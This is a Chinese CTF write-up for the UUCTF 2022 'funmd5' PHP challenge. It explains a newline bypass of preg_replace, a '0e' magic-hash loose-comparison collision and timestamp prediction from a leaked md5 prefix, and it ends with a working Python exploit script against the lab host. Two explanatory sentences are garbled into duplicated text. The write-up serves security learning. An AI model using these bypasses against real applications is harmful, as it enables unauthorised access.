视频加载失败

[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测

1008 字
5 分钟
[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测

本题在线靶场#

https://www.nssctf.cn/problem/3050

代码审计#

<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
$sub=substr($time,-1);
$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
if(preg_match('/0e/',$md5[0])){
$md5[0]=substr($md5[0],$sub);
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
echo "well!you win again!now flag is yours.<br>";
echo $flag;
}
else{
echo $md5[0];
echo "oh!no!maybe you need learn more PHP!";
}
}
else{
echo "this is your md5:$md5[0]<br>";
echo "maybe you need more think think!";
}
}
else{
highlight_file(__FILE__);
$sub=strlen($md5[0]);
echo substr($guessmd5,0,5)."<br>";
echo "plase give me the md5!";
}
?>
7ffb4
plase give me the md5!

1.代码逻辑分析#

  1. 无参数时:输出 $guessmd5 的前 5 位,提示输入 md5。

  2. 传入 md5 数组:

    • $time = time(),$guessmd5 = md5($time)。
    • $sub = substr($time, -1):取时间戳最后一位数字(0~9),并赋值给变量 $sub。
    • 对 $md5 数组每个元素执行 preg_replace('/^(.*)0e(.*)$/', '${1}no_science_notation!${2}', $md5)。 把 md5字符串中的0e替换成‘nosciencenotation!‘,并保留0e前后的内容,最后再把结果赋回‘md5 字符串中的 0e 替换成 `no_science_notation!`,并保留 0e 前后的内容,最后再把结果赋回 `md5`。

    若包含,则 $md5[0] = substr($md5[0], $sub),即从 sub位置截取。最终条件:‘sub 位置截取。 最终条件:`md5[0] == md5(md5[0])` && `md5[1] === $guessmd5`。

2.漏洞点与利用思路#

2.1 换行符绕过 preg_replace#

preg_replace 的正则 /^(.*)0e(.*)$/ 中,. 默认不匹配换行符 \n。如果字符串中包含换行符,且 0e 位于换行符之后,则整个正则无法匹配,preg_replace 不会进行替换。而 preg_match('/0e/', $md5[0]) 是在整个字符串中搜索,不受换行符影响,因此仍能匹配到 0e,从而进入内层条件。

2.2 MD5 松散比较(0e 碰撞)#

条件 $md5[0] == md5($md5[0]) 使用松散比较。在 PHP 中,形如 0e 后跟纯数字的字符串会被解释为科学计数法,其值为 0。因此,如果 $md5[0] 是一个 0e 开头的纯数字字符串,且它的 MD5 值也是 0e 开头的纯数字字符串,那么两者在 == 比较时都会被视为 0,从而相等。

已知的经典字符串:

  • 0e215962017 → MD5:0e291242476940776845150308577824

2.3 时间戳预测#

$guessmd5 = md5(time()),$sub = substr(time(), -1)。我们需要知道服务器当前的时间戳,才能计算出完整的 $guessmd5 和 $sub。页面会泄露 $guessmd5 的前 5 位,我们可以通过暴力枚举当前时间附近的时间戳,找到匹配前 5 位的那个时间戳 T,从而得到完整的 $guessmd5 和 $sub = T % 10。

2.4 构造 $md5[0]#

我们需要 substr($md5[0], $sub) == "0e215962017"。 因此 $md5[0] 的前 sub个字符可以是任意字符,但必须包含换行符以绕过pregreplace,并且换行符要放在0e之前。例如,若sub 个字符可以是任意字符,但必须包含换行符以绕过 preg_replace,并且换行符要放在 0e 之前。例如,若 sub = 4,可构造:

$md5[0] = "aaa\n0e215962017"

长度为 4 的前缀 “aaa\n”,截取后得到 “0e215962017”。

2.5 构造 $md5[1]#

$md5[1] 需要严格等于 $guessmd5。注意 $md5[1] 也会经过 preg_replace 处理,如果 $guessmd5 中包含 0e,则会被替换成 no_science_notation!,导致不相等。因此需要确保 $guessmd5 中不包含 0e。概率约 12%,若不满足可等待下一秒重试。

自动化利用脚本#

以下 Python 脚本实现了完整的攻击流程:

import requests
import hashlib
import time
import re
# 目标 URL
url = "http://node5.anna.nssctf.cn:22221" # 替换为实际 URL
# 已知的 0e 碰撞字符串
COLLISION = "0e215962017"
while True:
# 1. 获取 $guessmd5 前 5 位
r = requests.get(url)
match = re.search(r'([0-9a-f]{5})<br>', r.text)
if not match:
print("未获取到前5位,重试...")
time.sleep(0.5)
continue
prefix5 = match.group(1)
print(f"[+] 获取到前5位: {prefix5}")
# 2. 暴力枚举时间戳,找到完整 $guessmd5
now = int(time.time())
found_T = None
for delta in range(-120, 120): # 前后搜索2分钟
T = now + delta
if hashlib.md5(str(T).encode()).hexdigest().startswith(prefix5):
found_T = T
break
if found_T is None:
print("[-] 未找到匹配时间戳,重试...")
time.sleep(0.5)
continue
guess_md5 = hashlib.md5(str(found_T).encode()).hexdigest()
sub = found_T % 10
print(f"[+] 时间戳: {found_T}, sub = {sub}, guess_md5 = {guess_md5}")
# 检查 sub 是否为 0,为 0 则无法构造前缀
if sub == 0:
print("[-] sub 为 0,等待下一秒...")
time.sleep(1)
continue
# 检查 guess_md5 是否包含 '0e',若包含则会被替换
if '0e' in guess_md5:
print("[-] guess_md5 包含 '0e',等待下一秒...")
time.sleep(1)
continue
# 3. 构造 $md5[0]
# 前缀长度为 sub,包含换行符,且换行符放在 0e 之前
prefix = 'a' * (sub - 1) + '\n' # 长度为 sub
md5_0 = prefix + COLLISION
# 4. 发送请求
params = {
'md5[0]': md5_0,
'md5[1]': guess_md5
}
# requests 会自动对参数进行 URL 编码
r2 = requests.get(url, params=params)
if "well!you win again!" in r2.text or "flag" in r2.text:
print("[+] 成功!")
print(r2.text)
break
else:
print("[-] 尝试失败,响应:")
print(r2.text[:200])
# 等待一下重试
time.sleep(0.5)

2026-09-20_16-28-27.png
2026-09-20_16-28-27.png

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测
https://tuulei.cn/posts/uuctf-2022-xin-sheng-sai-funmd5-0e-peng-zhuang-yu-shi-jian-c/
作者
tuulei
发布于
2026-09-20
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
tuulei
请你再闪亮一点点,尽管我太平凡。
公告
分类
标签
最新动态
站点统计
文章
13
分类
4
标签
16
总字数
17,835
运行时长
0 天
最后活动
0 天前
总访问量
--
文章目录